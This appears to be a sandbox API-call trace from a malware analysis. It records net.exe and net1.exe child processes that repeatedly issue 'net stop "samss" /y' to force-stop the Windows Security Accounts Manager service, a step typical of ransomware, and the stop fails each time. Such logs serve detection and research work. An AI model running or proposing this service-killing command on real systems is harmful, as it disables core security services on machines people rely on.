	[0185.000] GetCurrentProcessId () returned 0x121c
	[0185.000] GetCurrentThreadId () returned 0x1220
	[0185.000] GetTickCount () returned 0x1171fa2
	[0185.001] QueryPerformanceCounter (in: lpPerformanceCount=0x22fd78 | out: lpPerformanceCount=0x22fd78*=36478637856) returned 1
	[0223.230] GetModuleHandleW (lpModuleName=0x0) returned 0xff480000
	[0223.230] __set_app_type (_Type=0x1) 
	[0223.230] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff499c9c) returned 0x0
	[0223.232] __getmainargs (in: _Argc=0xff4a4780, _Argv=0xff4a4790, _Env=0xff4a4788, _DoWildCard=0, _StartInfo=0xff4a479c | out: _Argc=0xff4a4780, _Argv=0xff4a4790, _Env=0xff4a4788) returned 0
	[0223.233] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0223.233] GetConsoleOutputCP () returned 0x1b5
	[0223.545] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff4acec0 | out: lpCPInfo=0xff4acec0) returned 1
	[0223.546] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0223.552] sprintf_s (in: _DstBuf=0x22fd18, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0223.553] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0223.557] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0223.557] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0223.558] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0223.558] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x22fab0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0223.558] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x0, Size=0x6e) returned 0x42c060
	[0223.558] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0223.559] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x22fd08 | out: Buffer=0x22fd08*=0x424d40) returned 0x0
	[0223.559] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x22fd08 | out: Buffer=0x22fd08*=0x42c0e0) returned 0x0
	[0223.559] _fileno (_File=0x7fefe122a80) returned 0
	[0223.559] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0223.560] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0223.560] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0223.560] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0223.560] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0223.560] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0223.560] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0223.560] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0223.561] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0223.561] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0223.561] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0223.561] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0223.561] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0223.561] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0223.561] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0223.561] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0223.561] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0223.561] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0223.561] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0223.561] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0223.561] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0223.561] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0223.562] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0223.562] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0223.562] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0223.562] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0223.562] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0223.562] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0223.562] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0223.562] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0223.562] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0223.562] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0223.562] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0223.562] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0223.562] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0223.562] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0223.563] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0223.563] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0223.563] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0223.563] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0223.563] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0223.563] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0223.563] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0223.563] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0223.563] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0223.563] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0223.563] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0223.563] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0223.563] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0223.563] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0223.563] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0223.564] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0223.564] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0223.564] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0223.564] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0223.564] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0223.564] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0223.564] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0223.564] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0223.564] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0223.564] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0223.564] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0223.564] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0223.564] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0223.564] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0223.565] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0223.565] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0223.566] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x42cdf0
	[0223.578] GetServiceKeyNameW (in: hSCManager=0x42cdf0, lpDisplayName="SAMSS", lpServiceName=0xff4a5750, lpcchBuffer=0x22fc28 | out: lpServiceName="", lpcchBuffer=0x22fc28) returned 0
	[0223.931] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0223.931] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0223.932] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0223.932] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0223.932] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0223.932] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0223.932] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0223.932] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0223.932] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0223.932] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0223.932] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0223.932] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0223.932] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0223.932] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0223.932] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0223.933] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0223.933] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0223.933] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0223.933] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0223.933] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x22fc30 | out: bufptr=0x22fc30) returned 0x0
	[0223.953] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x22fbe8 | out: Buffer=0x22fbe8*=0x430c70) returned 0x0
	[0223.953] OpenServiceW (hSCManager=0x42cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x42ce50
	[0223.954] QueryServiceStatus (in: hService=0x42ce50, lpServiceStatus=0x22fb90 | out: lpServiceStatus=0x22fb90*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0223.955] NetApiBufferFree (Buffer=0x430c70) returned 0x0
	[0223.955] CloseServiceHandle (hSCObject=0x42ce50) returned 1
	[0223.956] wcscpy_s (in: _Destination=0xff4a80d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0223.956] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0223.958] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xff4a5b50, nSize=0x800, Arguments=0xff4a7f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0223.965] GetFileType (hFile=0xb) returned 0x2
	[0223.966] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x22fa88 | out: lpMode=0x22fa88) returned 1
	[0223.967] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff4a5b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x22fa80, lpReserved=0x0 | out: lpBuffer=0xff4a5b50*, lpNumberOfCharsWritten=0x22fa80*=0x47) returned 1
	[0223.969] GetFileType (hFile=0xb) returned 0x2
	[0223.970] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x22fa88 | out: lpMode=0x22fa88) returned 1
	[0223.971] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff481efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x22fa80, lpReserved=0x0 | out: lpBuffer=0xff481efc*, lpNumberOfCharsWritten=0x22fa80*=0x2) returned 1
	[0223.972] _ultow (in: _Dest=0x88f, _Radix=2292464 | out: _Dest=0x88f) returned="2191"
	[0223.972] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff4a5b50, nSize=0x800, Arguments=0xff4a7f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0223.972] GetFileType (hFile=0xb) returned 0x2
	[0223.973] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x22fa88 | out: lpMode=0x22fa88) returned 1
	[0223.974] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff4a5b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x22fa80, lpReserved=0x0 | out: lpBuffer=0xff4a5b50*, lpNumberOfCharsWritten=0x22fa80*=0x34) returned 1
	[0223.974] GetFileType (hFile=0xb) returned 0x2
	[0223.975] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x22fa88 | out: lpMode=0x22fa88) returned 1
	[0223.975] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff481efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x22fa80, lpReserved=0x0 | out: lpBuffer=0xff481efc*, lpNumberOfCharsWritten=0x22fa80*=0x2) returned 1
	[0223.977] NetApiBufferFree (Buffer=0x424d40) returned 0x0
	[0223.977] NetApiBufferFree (Buffer=0x42c0e0) returned 0x0
	[0223.977] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0223.977] exit (_Code=2) 

Process:
	id = "38"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x2d442000"
	os_pid = "0x1260"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "36"
	os_parent_pid = "0x1208"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 662
	os_tid = 0x1264

	[0188.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afb10 | out: lpSystemTimeAsFileTime=0x1afb10*(dwLowDateTime=0x52f16800, dwHighDateTime=0x1d5cdef)) 
	[0188.707] GetCurrentProcessId () returned 0x1260
	[0188.707] GetCurrentThreadId () returned 0x1264
	[0188.707] GetTickCount () returned 0x1172e13
	[0188.707] QueryPerformanceCounter (in: lpPerformanceCount=0x1afb18 | out: lpPerformanceCount=0x1afb18*=36558791963) returned 1
	[0224.029] GetModuleHandleW (lpModuleName=0x0) returned 0xff480000
	[0224.029] __set_app_type (_Type=0x1) 
	[0224.029] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff499c9c) returned 0x0
	[0224.030] __getmainargs (in: _Argc=0xff4a4780, _Argv=0xff4a4790, _Env=0xff4a4788, _DoWildCard=0, _StartInfo=0xff4a479c | out: _Argc=0xff4a4780, _Argv=0xff4a4790, _Env=0xff4a4788) returned 0
	[0224.031] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0224.032] GetConsoleOutputCP () returned 0x1b5
	[0224.032] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff4acec0 | out: lpCPInfo=0xff4acec0) returned 1
	[0224.033] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0224.038] sprintf_s (in: _DstBuf=0x1afab8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0224.039] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0224.043] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0224.043] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0224.043] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0224.044] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1af850, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0224.044] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x0, Size=0x6e) returned 0x36c060
	[0224.044] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0224.044] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x1afaa8 | out: Buffer=0x1afaa8*=0x364d40) returned 0x0
	[0224.044] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x1afaa8 | out: Buffer=0x1afaa8*=0x36c0e0) returned 0x0
	[0224.044] _fileno (_File=0x7fefe122a80) returned 0
	[0224.044] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0224.045] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0224.045] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0224.045] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0224.045] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0224.045] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0224.045] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0224.045] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0224.045] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0224.046] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0224.046] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0224.046] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0224.046] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0224.046] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0224.046] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0224.046] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0224.046] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0224.046] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0224.046] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0224.046] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0224.046] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0224.046] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0224.046] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0224.046] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0224.046] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0224.046] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0224.047] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0224.047] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0224.047] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0224.047] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0224.047] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0224.047] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0224.047] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0224.047] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0224.047] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0224.047] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0224.047] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0224.047] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0224.047] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0224.047] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0224.047] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0224.047] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0224.048] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0224.048] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0224.048] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0224.048] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0224.048] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0224.048] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0224.048] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0224.048] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0224.048] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0224.048] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0224.048] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0224.048] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0224.048] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0224.048] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0224.048] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0224.048] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0224.048] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0224.049] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0224.049] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0224.049] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0224.049] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0224.049] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0224.049] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0224.049] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0224.049] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0224.050] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x36cdf0
	[0224.060] GetServiceKeyNameW (in: hSCManager=0x36cdf0, lpDisplayName="SAMSS", lpServiceName=0xff4a5750, lpcchBuffer=0x1af9c8 | out: lpServiceName="", lpcchBuffer=0x1af9c8) returned 0
	[0224.386] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0224.386] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0224.386] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0224.386] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0224.386] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0224.386] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0224.386] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0224.387] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0224.387] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0224.387] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0224.387] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0224.387] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0224.387] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0224.387] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0224.387] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0224.387] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0224.387] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0224.387] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0224.387] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0224.388] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x1af9d0 | out: bufptr=0x1af9d0) returned 0x0
	[0224.393] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x1af988 | out: Buffer=0x1af988*=0x370c70) returned 0x0
	[0224.393] OpenServiceW (hSCManager=0x36cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x36ce50
	[0224.394] QueryServiceStatus (in: hService=0x36ce50, lpServiceStatus=0x1af930 | out: lpServiceStatus=0x1af930*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0224.395] NetApiBufferFree (Buffer=0x370c70) returned 0x0
	[0224.395] CloseServiceHandle (hSCObject=0x36ce50) returned 1
	[0224.396] wcscpy_s (in: _Destination=0xff4a80d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0224.396] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0224.399] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xff4a5b50, nSize=0x800, Arguments=0xff4a7f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0224.496] GetFileType (hFile=0xb) returned 0x2
	[0224.496] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1af828 | out: lpMode=0x1af828) returned 1
	[0224.497] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff4a5b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x1af820, lpReserved=0x0 | out: lpBuffer=0xff4a5b50*, lpNumberOfCharsWritten=0x1af820*=0x47) returned 1
	[0224.500] GetFileType (hFile=0xb) returned 0x2
	[0224.501] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1af828 | out: lpMode=0x1af828) returned 1
	[0224.501] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff481efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af820, lpReserved=0x0 | out: lpBuffer=0xff481efc*, lpNumberOfCharsWritten=0x1af820*=0x2) returned 1
	[0224.502] _ultow (in: _Dest=0x88f, _Radix=1767568 | out: _Dest=0x88f) returned="2191"
	[0224.502] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff4a5b50, nSize=0x800, Arguments=0xff4a7f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0224.503] GetFileType (hFile=0xb) returned 0x2
	[0224.503] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1af828 | out: lpMode=0x1af828) returned 1
	[0224.504] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff4a5b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x1af820, lpReserved=0x0 | out: lpBuffer=0xff4a5b50*, lpNumberOfCharsWritten=0x1af820*=0x34) returned 1
	[0224.504] GetFileType (hFile=0xb) returned 0x2
	[0224.505] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1af828 | out: lpMode=0x1af828) returned 1
	[0224.506] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff481efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af820, lpReserved=0x0 | out: lpBuffer=0xff481efc*, lpNumberOfCharsWritten=0x1af820*=0x2) returned 1
	[0224.507] NetApiBufferFree (Buffer=0x364d40) returned 0x0
	[0224.507] NetApiBufferFree (Buffer=0x36c0e0) returned 0x0
	[0224.507] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0224.507] exit (_Code=2) 

Process:
	id = "39"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x14e1c000"
	os_pid = "0x17e4"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1135
	os_tid = 0x17e8


Process:
	id = "40"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x50e04000"
	os_pid = "0x2030"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1672
	os_tid = 0x2034


Process:
	id = "41"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x9ca2000"
	os_pid = "0x2064"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "39"
	os_parent_pid = "0x17e4"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1684
